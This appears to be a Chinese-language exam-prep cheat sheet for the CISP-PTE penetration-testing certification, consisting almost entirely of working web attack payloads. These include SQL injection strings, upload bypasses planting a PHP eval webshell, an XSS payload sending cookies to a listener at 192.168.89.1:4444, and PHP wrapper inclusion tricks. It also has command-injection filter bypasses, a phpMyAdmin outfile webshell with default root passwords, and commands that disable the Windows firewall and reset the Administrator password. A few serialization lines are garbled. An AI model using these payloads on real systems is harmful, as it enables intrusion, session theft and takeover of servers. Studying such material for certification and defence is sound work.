sql注入
手工注入
万能密码
admin’ or ‘1’ =‘1
注释
admin’ or 1=1 #
查表 select database()
select group_concat(table_name) from information_schema.tables where table_schema=‘’ #
过滤了 – #
用 ;%00
insert into(1,2,3,4,5) values ( 1,2,3,4,5 )
注意二次注入 巧用#
并且在查询数据时
读取文件时 load_file(‘’)
报错注入
updatexml(1,concat(0x7e,(select database()),0x7e),1)
insert into查询时报错 我们用
(select group_concat(username) from (select * from users1 limit 0,1)as a)
文件上传
文件后缀绕过 大小写绕过
Php php3 php5 pht phtml
内容绕过 用
< script language=‘php’>@eval($_POST[cmd]);< /script>
文件头绕过 用
GIF89a GIF87a
代码审计
构造闭合
a=");system("ls
定位符
ls >1.txt
反序列化
TEMP="CISP";serialize(TEMP="CISP";
serialize(TEMP="CISP";serialize(TEMP);
echo $TEMP;
cd[]=1
w={“bar1”:“2021a”,“bar2”:“[[1],1,2,3,4]”,“bar3”:“[cisp-pte,2]”}
xss
nc -lvvp 1145
python -m http.server 1145
python2 -m SimpleHttpServer 1145
<script>document.write('<img src="http://192.168.89.1:4444?' + document.cookie +'"/>');</script>
文件包含
记住伪协议
php://filter/read=convert.base64-encode/resouce=…key.flag
data://text.plain,<?php system('cat /flag.php')?>
data://text.plain;base64, <?php @eval($_POST['cmd']);?>
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
命令执行
tac
sed ‘’ …/key
ca\t …/key
ca"t …/key
more
过滤了key 或者php 用* 去匹配
连接符号
&& || ;过滤了空格 用< 重定向
业务逻辑
xff头
client-ip
更改请求头 TRACE找到源ip
日志审计
^.*
^开始匹配
. 匹配什么
- 出现一次或多次
^.172.16.12.1. “[A-Z]+ /..(php|jsp|asp).” 200
^.* “[A-Z]+ /(?!/?(index|manage|footer|upload))..(php|jsp|asp).” 200
实操题
phpmyadmin
root/root
root/123456
select ‘<?php @eval($_POST['cmd']);?>’ into outfile ‘C:/phpstudy_pro/WWW/shell.php’
加密方式
md5
md5(md5)
sha-1
3306
netsh firewall set opmode disable
netsh firewall set opmode disable
net user Administrator Admin123
1813

被折叠的 条评论
为什么被折叠?



